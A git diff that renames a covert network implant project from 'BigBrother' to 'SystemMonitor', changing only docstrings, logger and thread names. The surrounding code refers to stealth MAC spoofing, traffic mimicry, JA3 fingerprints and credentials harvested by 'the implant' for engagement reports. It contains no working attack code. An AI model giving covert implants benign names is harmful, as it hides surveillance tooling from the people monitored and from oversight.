|
||||||
PHASE_BASELINE = "baseline"
|
PHASE_BASELINE = "baseline"
|
||||||
PHASE_SHAPING = "shaping"
|
PHASE_SHAPING = "shaping"
|
||||||
@@ -72,7 +72,7 @@ class TrafficMimicry(BaseModule):
|
|||||||
|
|
||||||
# Background thread for periodic baseline updates and phase transitions
|
# Background thread for periodic baseline updates and phase transitions
|
||||||
self._monitor_thread = threading.Thread(
|
self._monitor_thread = threading.Thread(
|
||||||
target=self._monitor_loop, daemon=True, name="bb-traffic-mimicry",
|
target=self._monitor_loop, daemon=True, name="sensor-traffic-mimicry",
|
||||||
)
|
)
|
||||||
self._monitor_thread.start()
|
self._monitor_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Watchdog module — monitor all BigBrother modules and managed tools.
|
"""Watchdog module — monitor all SystemMonitor modules and managed tools.
|
||||||
|
|
||||||
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
|
Performs periodic health checks, auto-restarts crashed modules (max 3 attempts),
|
||||||
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
|
and manages OOM priority assignments. Publishes MODULE_RESTARTED events on
|
||||||
@@ -17,7 +17,7 @@ from modules.base import BaseModule
|
|||||||
from core.bus import Event
|
from core.bus import Event
|
||||||
from utils.resource import get_process_resources
|
from utils.resource import get_process_resources
|
||||||
|
|
||||||
logger = logging.getLogger("bb.stealth.watchdog")
|
logger = logging.getLogger("sensor.stealth.watchdog")
|
||||||
|
|
||||||
# OOM priority assignments by module type
|
# OOM priority assignments by module type
|
||||||
_OOM_PRIORITIES = {
|
_OOM_PRIORITIES = {
|
||||||
@@ -85,7 +85,7 @@ class Watchdog(BaseModule):
|
|||||||
self._pid = os.getpid()
|
self._pid = os.getpid()
|
||||||
self._start_time = time.time()
|
self._start_time = time.time()
|
||||||
self._check_thread = threading.Thread(
|
self._check_thread = threading.Thread(
|
||||||
target=self._health_check_loop, daemon=True, name="bb-watchdog",
|
target=self._health_check_loop, daemon=True, name="sensor-watchdog",
|
||||||
)
|
)
|
||||||
self._check_thread.start()
|
self._check_thread.start()
|
||||||
|
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Build SQLite data databases for BigBrother.
|
"""Build SQLite data databases for SystemMonitor.
|
||||||
|
|
||||||
Creates:
|
Creates:
|
||||||
- innocuous_macs.db : Consumer device MAC profiles for stealth spoofing
|
- innocuous_macs.db : Consumer device MAC profiles for stealth spoofing
|
||||||
@@ -416,7 +416,7 @@ def create_ja3_fingerprints_db(db_path: str) -> None:
|
|||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
parser = argparse.ArgumentParser(description="Build BigBrother data databases")
|
parser = argparse.ArgumentParser(description="Build SystemMonitor data databases")
|
||||||
parser.add_argument(
|
parser.add_argument(
|
||||||
"--output-dir", "-o",
|
"--output-dir", "-o",
|
||||||
default=os.path.join(os.path.dirname(os.path.dirname(__file__)), "data"),
|
default=os.path.join(os.path.dirname(os.path.dirname(__file__)), "data"),
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""BigBrother Operator Script — Generate Engagement Report.
|
"""SystemMonitor Operator Script — Generate Engagement Report.
|
||||||
|
|
||||||
Pulls data from SQLite databases synced from the implant and generates
|
Pulls data from SQLite databases synced from the implant and generates
|
||||||
a structured engagement report in both Markdown and HTML formats.
|
a structured engagement report in both Markdown and HTML formats.
|
||||||
@@ -313,7 +313,7 @@ def generate_markdown(data_dir, title, creds, hosts, dns_stats, modules):
|
|||||||
add("")
|
add("")
|
||||||
|
|
||||||
add("---\n")
|
add("---\n")
|
||||||
add(f"*Report generated by BigBrother operator tooling — {now}*")
|
add(f"*Report generated by SystemMonitor operator tooling — {now}*")
|
||||||
|
|
||||||
return "\n".join(lines)
|
return "\n".join(lines)
|
||||||
|
|
||||||
@@ -443,11 +443,11 @@ def _inline_format(text):
|
|||||||
|
|
||||||
def main():
|
def main():
|
||||||
parser = argparse.ArgumentParser(
|
parser = argparse.ArgumentParser(
|
||||||
description="Generate BigBrother engagement report from synced data."
|
description="Generate SystemMonitor engagement report from synced data."
|
||||||
)
|
)
|
||||||
parser.add_argument("data_dir", help="Path to pulled data directory")
|
parser.add_argument("data_dir", help="Path to pulled data directory")
|
||||||
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
|
parser.add_argument("--output", "-o", help="Output directory (default: <data_dir>/report)")
|
||||||
parser.add_argument("--title", "-t", default="BigBrother Engagement Report",
|
parser.add_argument("--title", "-t", default="SystemMonitor Engagement Report",
|
||||||
help="Report title")
|
help="Report title")
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
|||||||
@@ -19,7 +19,7 @@ logging.basicConfig(
|
|||||||
level=logging.WARNING,
|
level=logging.WARNING,
|
||||||
format="%(asctime)s %(levelname)s %(name)s: %(message)s",
|
format="%(asctime)s %(levelname)s %(name)s: %(message)s",
|
||||||
)
|
)
|
||||||
logger = logging.getLogger("bb.watchdog")
|
logger = logging.getLogger("sensor.watchdog")
|
||||||
|
|
||||||
CHECK_INTERVAL = 15.0
|
CHECK_INTERVAL = 15.0
|
||||||
THERMAL_WARN = 60
|
THERMAL_WARN = 60
|
||||||
|
|||||||
+4
-4
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""sd_wifi.py — Update WiFi config on a BigBrother SD card.
|
"""sd_wifi.py — Update WiFi config on a SystemMonitor SD card.
|
||||||
|
|
||||||
Detects the SD card by looking for the armbi_root label, mounts it to a
|
Detects the SD card by looking for the armbi_root label, mounts it to a
|
||||||
temp directory, reads/writes /etc/netplan/20-wifi.yaml, and unmounts on exit.
|
temp directory, reads/writes /etc/netplan/20-wifi.yaml, and unmounts on exit.
|
||||||
@@ -197,7 +197,7 @@ def set_country(config: Dict, country: str) -> None:
|
|||||||
def print_header() -> None:
|
def print_header() -> None:
|
||||||
console.print()
|
console.print()
|
||||||
console.print(Panel(
|
console.print(Panel(
|
||||||
"[bold cyan]BigBrother[/bold cyan] — SD Card WiFi Configurator\n"
|
"[bold cyan]SystemMonitor[/bold cyan] — SD Card WiFi Configurator\n"
|
||||||
"Target label: [yellow]armbi_root[/yellow] | "
|
"Target label: [yellow]armbi_root[/yellow] | "
|
||||||
"Netplan: [dim]" + NETPLAN_PATH + "[/dim]",
|
"Netplan: [dim]" + NETPLAN_PATH + "[/dim]",
|
||||||
title="sd_wifi",
|
title="sd_wifi",
|
||||||
@@ -474,7 +474,7 @@ def run_add(device: str, mountpoint: str, ssid: str, password: str) -> None:
|
|||||||
default=(None, None),
|
default=(None, None),
|
||||||
help="Non-interactively add or update a network.")
|
help="Non-interactively add or update a network.")
|
||||||
def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None:
|
def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None:
|
||||||
"""Update WiFi config on a BigBrother SD card (armbi_root label)."""
|
"""Update WiFi config on a SystemMonitor SD card (armbi_root label)."""
|
||||||
print_header()
|
print_header()
|
||||||
|
|
||||||
# Locate the SD card
|
# Locate the SD card
|
||||||
@@ -485,7 +485,7 @@ def main(do_list: bool, add: Tuple[Optional[str], Optional[str]]) -> None:
|
|||||||
console.print("[red]NOT FOUND[/red]")
|
console.print("[red]NOT FOUND[/red]")
|
||||||
console.print()
|
console.print()
|
||||||
console.print(f" [red]No block device with label '{SD_LABEL}' detected.[/red]")
|
console.print(f" [red]No block device with label '{SD_LABEL}' detected.[/red]")
|
||||||
console.print(" Insert the BigBrother SD card and try again.")
|
console.print(" Insert the SystemMonitor SD card and try again.")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
console.print(f"[green]{device}[/green]")
|
console.print(f"[green]{device}[/green]")
|
||||||
|
|||||||
+2
-2
@@ -1,4 +1,4 @@
|
|||||||
"""Shared pytest fixtures for BigBrother tests."""
|
"""Shared pytest fixtures for SystemMonitor tests."""
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
@@ -31,7 +31,7 @@ def tmp_dir(tmp_path):
|
|||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def mock_config():
|
def mock_config():
|
||||||
"""Return a valid BigBrother config dict (no YAML file needed)."""
|
"""Return a valid SystemMonitor config dict (no YAML file needed)."""
|
||||||
return {
|
return {
|
||||||
"device": {
|
"device": {
|
||||||
"platform": "generic",
|
"platform": "generic",
|
||||||
|
|||||||
+2
-2
@@ -1,5 +1,5 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""Encrypted log writer for BigBrother. Named bb_logging to avoid shadowing stdlib logging."""
|
"""Encrypted log writer for SystemMonitor. Named bb_logging to avoid shadowing stdlib logging."""
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
import os
|
||||||
@@ -95,7 +95,7 @@ class BBLogger:
|
|||||||
suppress_stdout: bool = True,
|
suppress_stdout: bool = True,
|
||||||
):
|
):
|
||||||
self.module_name = module_name
|
self.module_name = module_name
|
||||||
self.logger = logging.getLogger(f"bb.{module_name}")
|
self.logger = logging.getLogger(f"sensor.{module_name}")
|
||||||
self.logger.setLevel(level)
|
self.logger.setLevel(level)
|
||||||
self.logger.propagate = False
|
self.logger.propagate = False
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user